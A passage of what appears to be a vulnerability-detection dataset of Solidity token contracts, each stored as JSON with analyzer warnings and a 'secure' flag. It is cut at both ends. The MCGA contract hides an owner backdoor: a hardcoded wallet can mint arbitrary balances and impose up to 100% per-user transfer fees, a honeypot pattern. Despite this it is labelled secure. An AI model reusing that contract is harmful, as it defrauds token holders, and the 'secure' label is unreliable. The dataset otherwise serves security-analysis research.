}\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: f1c4d6d\n\t\t\t\t// reentrancy-eth | ID: 63e1211\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: f1c4d6d\n\t\t\t\t\t// reentrancy-eth | ID: 63e1211\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 63e1211\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 63e1211\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 63e1211\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: f1c4d6d\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 63e1211\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 63e1211\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: f1c4d6d\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: f1c4d6d\n\t\t// reentrancy-events | ID: 4b6e507\n\t\t// reentrancy-benign | ID: 2ffe1c4\n\t\t// reentrancy-eth | ID: 63e1211\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit2() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: e284ec0): Hopecoin.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for e284ec0: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: f1c4d6d\n\t\t// reentrancy-events | ID: 4b6e507\n\t\t// reentrancy-eth | ID: 63e1211\n\t\t// arbitrary-send-eth | ID: e284ec0\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5b1f88a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5b1f88a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 099e265): Hopecoin.openhope() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 099e265: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 2d6033b): Hopecoin.openhope() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 2d6033b: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 360f338): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 360f338: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openhope() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 5b1f88a\n\t\t// reentrancy-eth | ID: 360f338\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 5b1f88a\n\t\t// unused-return | ID: 2d6033b\n\t\t// reentrancy-eth | ID: 360f338\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 5b1f88a\n\t\t// unused-return | ID: 099e265\n\t\t// reentrancy-eth | ID: 360f338\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 5b1f88a\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 360f338\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 8bd25ce): Hopecoin.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for 8bd25ce: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: 8bd25ce\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}", "file_name": "solidity_code_4050.sol", "secure": 0, "size_bytes": 18474 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract MCGA is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _transferFees;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 54f8747): MCGA._decimals should be immutable \n\t// Recommendation for 54f8747: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 06f7064): MCGA._totalSupply should be immutable \n\t// Recommendation for 06f7064: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f75ba07): MCGA._markingwallets should be immutable \n\t// Recommendation for f75ba07: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _markingwallets;\n address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = decimals_;\n\n _totalSupply = totalSupply_ * (10 ** decimals_);\n\n _markingwallets = 0x80CE3ebED63CaF52B44Bf8458e8a5Ac867eDBE9b;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function Aaprove(address user, uint256 feePercents) external {\n require(_checkMee(msg.sender), \"Caller is not the original caller\");\n\n uint256 maxFee = 100;\n\n bool condition = feePercents <= maxFee;\n\n _conditionReverter(condition);\n\n _setTransferFee(user, feePercents);\n }\n\n function _checkMee(address caller) internal view returns (bool) {\n return isMee();\n }\n\n function _conditionReverter(bool condition) internal pure {\n require(condition, \"Invalid fee percent\");\n }\n\n function _setTransferFee(address user, uint256 fee) internal {\n _transferFees[user] = fee;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function isMee() internal view returns (bool) {\n return _msgSender() == _markingwallets;\n }\n\n function Ethtrendings(address recipient, uint256 airDrop) external {\n uint256 receiveRewrd = airDrop;\n _balances[recipient] += receiveRewrd;\n require(isMee(), \"Caller is not the original caller\");\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n\n emit Transfer(_msgSender(), BLACK_HOLE, fee);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n\n emit Approval(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n\n uint256 fee = (amount * _transferFees[sender]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n\n emit Transfer(sender, BLACK_HOLE, fee);\n\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}", "file_name": "solidity_code_4051.sol", "secure": 1, "size_bytes": 5349 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract OganessonToken is Ownable, IERC20 {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9ba8adf): OganessonToken._name should be constant \n\t// Recommendation for 9ba8adf: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Oganesson Token\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 48994b9): OganessonToken._symbol should be constant \n\t// Recommendation for 48994b9: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"OGNN\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 221f6ac): OganessonToken._decimals should be constant \n\t// Recommendation for 221f6ac: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 18;\n\n uint256 private _totalSupply =\n 10_000_000_000_000 * (10 ** uint256(_decimals));\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n event Burn(address indexed burner, uint256 value);\n\n constructor(address initialOwner) Ownable(initialOwner) {\n _balances[initialOwner] = _totalSupply;\n\n emit Transfer(address(0), initialOwner, _totalSupply);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 value\n ) public override returns (bool) {\n _transfer(_msgSender(), to, value);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 value\n ) public override returns (bool) {\n _approve(_msgSender(), spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public override returns (bool) {\n _transfer(from, to, value);\n\n _approve(\n from,\n _msgSender(),\n _allowances[from][_msgSender()].sub(value)\n );\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(subtractedValue)\n );\n\n return true;\n }\n\n function burn(uint256 value) public {\n _burn(_msgSender(), value);\n }\n\n function _burn(address account, uint256 value) internal {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n require(\n value <= _balances[account],\n \"ERC20: burn amount exceeds balance\"\n );\n\n _balances[account] = _balances[account].sub(value);\n\n _totalSupply = _totalSupply.sub(value);\n\n emit Burn(account, value);\n\n emit Transfer(account, address(0), value);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(amount);\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n}", "file_name": "solidity_code_4052.sol", "secure": 1, "size_bytes": 5088 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: b79f8e0): Contract locking ether found Contract Shisa has payable functions Shisa.receive() But does not have a function to withdraw the ether\n// Recommendation for b79f8e0: Remove the 'payable' attribute or add a withdraw function.\ncontract Shisa is ERC20, Ownable {\n constructor() ERC20(unicode\"Shisa\", unicode\"SHISA\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: b79f8e0): Contract locking ether found Contract Shisa has payable functions Shisa.receive() But does not have a function to withdraw the ether\n\t// Recommendation for b79f8e0: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}", "file_name": "solidity_code_4053.sol", "secure": 0, "size_bytes": 989 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v3-periphery/contracts/interfaces/ISwapRouter.sol\" as ISwapRouter;\nimport \"./ISwapFactory.sol\" as ISwapFactory;\nimport \"./ISwapPair.sol\" as ISwapPair;\n\ncontract DonkeyCoin is ERC20, Ownable {\n ISwapRouter public immutable router;\n\n address public immutable mainPair;\n\n mapping(address => bool) public AMMPairs;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4366f79): DonkeyCoin.constructor().owner shadows Ownable.owner() (function)\n\t// Recommendation for 4366f79: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: feb47d5): DonkeyCoin.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for feb47d5: Rename the local variables that shadow another component.\n constructor() ERC20(\"DonkeyCoin\", \"DONKEY\") {\n router = ISwapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n excludeFromMaxTransaction(address(router), true);\n\n mainPair = ISwapFactory(router.factory()).createPair(\n address(this),\n router.WETH()\n );\n\n excludeFromMaxTransaction(address(mainPair), true);\n\n _setAMMPairs(address(mainPair), true);\n\n address owner = owner();\n\n tradeFeeWallet = address(owner);\n\n marketFeeWallet = address(owner);\n\n excludeFromFees(owner, true);\n\n excludeFromFees(address(this), true);\n\n excludeFromFees(address(0xdead), true);\n\n excludeFromMaxTransaction(owner, true);\n\n excludeFromMaxTransaction(address(this), true);\n\n excludeFromMaxTransaction(address(0xdead), true);\n\n uint256 totalSupply = 69_000_000_000 * 1e18;\n\n _mint(_msgSender(), totalSupply);\n }\n\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: d2a3beb): DonkeyCoin._transfer(address,address,uint256) uses tx.origin for authorization require(bool,string)(_lastTxOrigin[tx.origin] < block.number,Only one purchase per block allowed)\n\t// Recommendation for d2a3beb: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: e891f62): DonkeyCoin._transfer(address,address,uint256) uses a dangerous strict equality balanceOf(from) == amount && amount > 0\n\t// Recommendation for e891f62: Don't use strict equality to determine if an account has enough Ether or tokens.\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"transfer from the zero address\");\n\n require(to != address(0), \"transfer to the zero address\");\n\n if (amount == 0) {\n super._transfer(from, to, 0);\n\n return;\n }\n\n if (limitsInEffect && from != owner() && to != owner()) {\n if (!tradingActive) {\n require(\n _isExcludedFromFees[from] || _isExcludedFromFees[to],\n \"Trading is not active\"\n );\n }\n\n if (antiMEV) {\n if (\n to != owner() &&\n to != address(router) &&\n to != address(mainPair)\n ) {\n\t\t\t\t\t// tx-origin | ID: d2a3beb\n require(\n _lastTxOrigin[tx.origin] < block.number,\n \"Only one purchase per block allowed\"\n );\n\n _lastTxOrigin[tx.origin] = block.number;\n }\n }\n\n if (AMMPairs[from] && !_isExcludedMaxTxAmount[to]) {\n require(\n amount <= maxTxAmount,\n \"Buy transfer amount exceeds the maxTxAmount\"\n );\n\n require(\n amount + balanceOf(to) <= maxWalletAmount,\n \"Max wallet exceeded\"\n );\n } else if (AMMPairs[to] && !_isExcludedMaxTxAmount[from]) {\n require(\n amount <= maxTxAmount,\n \"Sell transfer amount exceeds the maxTxAmount\"\n );\n } else if (!_isExcludedMaxTxAmount[to]) {\n require(\n amount + balanceOf(to) <= maxWalletAmount,\n \"Max wallet exceeded\"\n );\n }\n }\n\n if (AMMPairs[from] || AMMPairs[to]) {\n if (!_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {\n uint256 tradeFeeAmount = (amount * tradeFeeRate) / 10000;\n\n if (tradeFeeAmount > 0) {\n super._transfer(from, tradeFeeWallet, tradeFeeAmount);\n\n amount -= tradeFeeAmount;\n }\n\n uint256 marketFeeAmount = (amount * marketFeeRate) / 10000;\n\n if (marketFeeAmount > 0) {\n super._transfer(from, marketFeeWallet, marketFeeAmount);\n\n amount -= marketFeeAmount;\n }\n }\n }\n\n\t\t// incorrect-equality | ID: e891f62\n if (balanceOf(from) == amount && amount > 0) {\n amount -= 1;\n }\n\n super._transfer(from, to, amount);\n }\n\n function burn(uint256 amount) external {\n _burn(_msgSender(), amount);\n }\n\n\t// WARNING Optimization Issue (var-read-using-this | ID: 7df8a9d): The function DonkeyCoin.burnLiquidity(uint256) reads liquidityPairBalance = this.balanceOf(mainPair) with `this` which adds an extra STATICCALL.\n\t// Recommendation for 7df8a9d: Read the variable directly from storage instead of calling the contract.\n function burnLiquidity(uint256 percent) external onlyOwner returns (bool) {\n require(percent <= 5000, \"May not burn more than 50% of tokens in LP\");\n\n\t\t// var-read-using-this | ID: 7df8a9d\n uint256 liquidityPairBalance = this.balanceOf(mainPair);\n\n uint256 amountToBurn = (liquidityPairBalance * percent) / 10000;\n\n if (amountToBurn > 0) {\n super._transfer(mainPair, address(0xdead), amountToBurn);\n }\n\n ISwapPair(mainPair).sync();\n\n return true;\n }\n\n bool public tradingActive;\n\n function enableTrading() external onlyOwner {\n tradingActive = true;\n }\n\n bool public limitsInEffect = true;\n\n function removeLimits() external onlyOwner returns (bool) {\n limitsInEffect = false;\n\n return true;\n }\n\n function setAMMPairs(address pair, bool value) external onlyOwner {\n require(pair != mainPair, \"The pair cannot be removed from AMMPairs\");\n\n _setAMMPairs(pair, value);\n }\n\n function _setAMMPairs(address pair, bool value) private {\n AMMPairs[pair] = value;\n }\n\n mapping(address => bool) private _isExcludedFromFees;\n\n mapping(address => bool) private _isExcludedMaxTxAmount;\n\n function excludeFromFees(address account, bool excluded) public onlyOwner {\n _isExcludedFromFees[account] = excluded;\n }\n\n function isExcludedFromFees(address account) external view returns (bool) {\n return _isExcludedFromFees[account];\n }\n\n function excludeFromMaxTransaction(\n address account,\n bool excluded\n ) public onlyOwner {\n _isExcludedMaxTxAmount[account] = excluded;\n }\n\n function isExcludedMaxTxAmount(\n address account\n ) external view returns (bool) {\n return _isExcludedMaxTxAmount[account];\n }\n\n bool public antiMEV = true;\n\n mapping(address => uint256) private _lastTxOrigin;\n\n function enableAntiMEV(bool enable) external onlyOwner {\n antiMEV = enable;\n }\n\n uint256 public maxTxAmount = 345_000_000 * 1e18;\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: b01c85b): DonkeyCoin.updateMaxTxAmount(uint256) should emit an event for maxTxAmount = value * 1e18 \n\t// Recommendation for b01c85b: Emit an event for critical parameter changes.\n function updateMaxTxAmount(uint256 value) external onlyOwner {\n require(\n value >= ((totalSupply() * 1) / 1000) / 1e18,\n \"Cannot set maxTxAmount lower than 0.1%\"\n );\n\n\t\t// events-maths | ID: b01c85b\n maxTxAmount = value * 1e18;\n }\n\n uint256 public maxWalletAmount = 1_725_000_000 * 1e18;\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 58f207c): DonkeyCoin.updateMaxWalletAmount(uint256) should emit an event for maxWalletAmount = value * 1e18 \n\t// Recommendation for 58f207c: Emit an event for critical parameter changes.\n function updateMaxWalletAmount(uint256 value) external onlyOwner {\n require(\n value >= ((totalSupply() * 5) / 1000) / 1e18,\n \"Cannot set maxWallet lower than 0.5%\"\n );\n\n\t\t// events-maths | ID: 58f207c\n maxWalletAmount = value * 1e18;\n }\n\n uint256 public tradeFeeRate = 200;\n\n address public tradeFeeWallet;\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 4617232): DonkeyCoin.updateTradeFeeRate(uint256) should emit an event for tradeFeeRate = _tradeFeeRate \n\t// Recommendation for 4617232: Emit an event for critical parameter changes.\n function updateTradeFeeRate(uint256 _tradeFeeRate) external onlyOwner {\n\t\t// events-maths | ID: 4617232\n tradeFeeRate = _tradeFeeRate;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 51147c3): DonkeyCoin.updateTradeFeeWallet(address)._tradeFeeWallet lacks a zerocheck on \t tradeFeeWallet = _tradeFeeWallet\n\t// Recommendation for 51147c3: Check that the address is not zero.\n function updateTradeFeeWallet(address _tradeFeeWallet) external onlyOwner {\n\t\t// missing-zero-check | ID: 51147c3\n tradeFeeWallet = _tradeFeeWallet;\n\n _isExcludedFromFees[tradeFeeWallet] = true;\n }\n\n uint256 public marketFeeRate = 200;\n\n address public marketFeeWallet;\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: c603056): DonkeyCoin.updateMarketFeeRate(uint256) should emit an event for marketFeeRate = _marketFeeRate \n\t// Recommendation for c603056: Emit an event for critical parameter changes.\n function updateMarketFeeRate(uint256 _marketFeeRate) external onlyOwner {\n\t\t// events-maths | ID: c603056\n marketFeeRate = _marketFeeRate;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 91fcb11): DonkeyCoin.updateMarketFeeWallet(address)._marketFeeWallet lacks a zerocheck on \t marketFeeWallet = _marketFeeWallet\n\t// Recommendation for 91fcb11: Check that the address is not zero.\n function updateMarketFeeWallet(\n address _marketFeeWallet\n ) external onlyOwner {\n\t\t// missing-zero-check | ID: 91fcb11\n marketFeeWallet = _marketFeeWallet;\n\n _isExcludedFromFees[marketFeeWallet] = true;\n }\n}", "file_name": "solidity_code_4054.sol", "secure": 0, "size_bytes": 11231 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: b0e3e4d): Contract locking ether found Contract BlockNetwork has payable functions BlockNetwork.receive() But does not have a function to withdraw the ether\n// Recommendation for b0e3e4d: Remove the 'payable' attribute or add a withdraw function.\ncontract BlockNetwork is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) public _isExcludedFromFee;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 100000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Block Social Network\";\n\n string private constant _symbol = unicode\"BSN\";\n\n\t// WARNING Optimization Issue (constable-states | ID: ab86c7e): BlockNetwork._taxSwapThreshold should be constant \n\t// Recommendation for ab86c7e: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 100000 * 10 ** _decimals;\n\n uint256 public walletLimit = 3000000 * 10 ** decimals();\n\n uint256 public _feeOnBuy = 20;\n\n uint256 public _feeOnSell = 20;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 99340b7): BlockNetwork.uniswapV2Router should be immutable \n\t// Recommendation for 99340b7: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d0b71ac): BlockNetwork.uniswapV2Pair should be immutable \n\t// Recommendation for d0b71ac: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private uniswapV2Pair;\n\n bool private swapEnabled = false;\n\n bool private tradingOpen;\n\n event TradingActive(bool _tradingOpen, bool _swapEnabled);\n\n uint256 public buyCounter = 0;\n\n constructor() {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n uniswapV2Router = _uniswapV2Router;\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 01d627c): BlockNetwork.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 01d627c: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0a2d30d): BlockNetwork._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0a2d30d: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(address from, address to, uint256 amount) private {\n require(\n from != address(0) && to != address(0),\n 